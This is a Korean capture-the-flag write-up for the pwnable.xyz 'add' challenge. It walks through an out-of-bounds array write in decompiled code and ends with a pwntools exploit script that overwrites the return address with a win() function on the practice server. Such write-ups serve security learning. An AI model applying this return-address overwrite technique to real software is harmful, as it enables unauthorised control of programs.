[pwnable.xyz]add

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  __int64 v4; // [rsp+8h] [rbp-78h]
  __int64 v5; // [rsp+10h] [rbp-70h]
  __int64 v6; // [rsp+18h] [rbp-68h]
  __int64 v7[11]; // [rsp+20h] [rbp-60h]
  unsigned __int64 v8; // [rsp+78h] [rbp-8h]
 
  v8 = __readfsqword(0x28u);
  setup();
  while ( 1 )
  {
    v4 = 0LL;
    v5 = 0LL;
    v6 = 0LL;
    memset(v7, 0, 80uLL);
    printf("Input: ", argv, v7);
    if ( __isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6) != 3 )
      break;
    v7[v6] = v4 + v5;
    argv = v7[v6];
    printf("Result: %ld", argv);
  }
  result = 0;
  __readfsqword(40u);
  return result;
}

v7에서 OOB가 일어난다.

v7의 v6 인덱스에 v4+v5한 값을 넣어주는데 여기서 취약점이 터진다.

v4+v5로 리턴할 위치 잡아주고 v6로 ret에 맞춰주면 된다.

v7의 위치가 rbp-0x60이니까 v6의 인덱스 값을 rbp+0x8로 ret위치로 맞춰주면 된다.

근데 __int64니까 한 인덱스당 8바이트 크기만큼 가질것이다.

0x68 / 8 = 13이니까 v6에는 13값을 넣고 v4 + v5를 win()주소로 바꿔주면 된다. (v4+v5는 %d로 입력받아서 10진수로 넣어주면 된다.

mov    rdx,QWORD PTR [rbp-0x70]
mov    QWORD PTR [rbp+rax*8-0x60],rd

Input : 1094795585(0x4141414141) 0 13 이렇게 넣고 rbp+rax*8-0x60 이후 리턴(rbp+8)의 위치를 보면 잘 들어간걸 알 수 있다.

이제 리턴값도 맞췄겠다 리턴을 해주면 되는데 scanf에서 3이 아니면 break로 빠져나가는 걸 이용하면 된다.

if ( __isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6) != 3 ) break;

exploit.py

from pwn import *
 
e = ELF('./challenge')
p = remote('svc.pwnable.xyz',30002)
 
p.sendlineafter(': ',str(0x400822) + ' 0  13')
p.sendlineafter(': ','A')
p.interactive()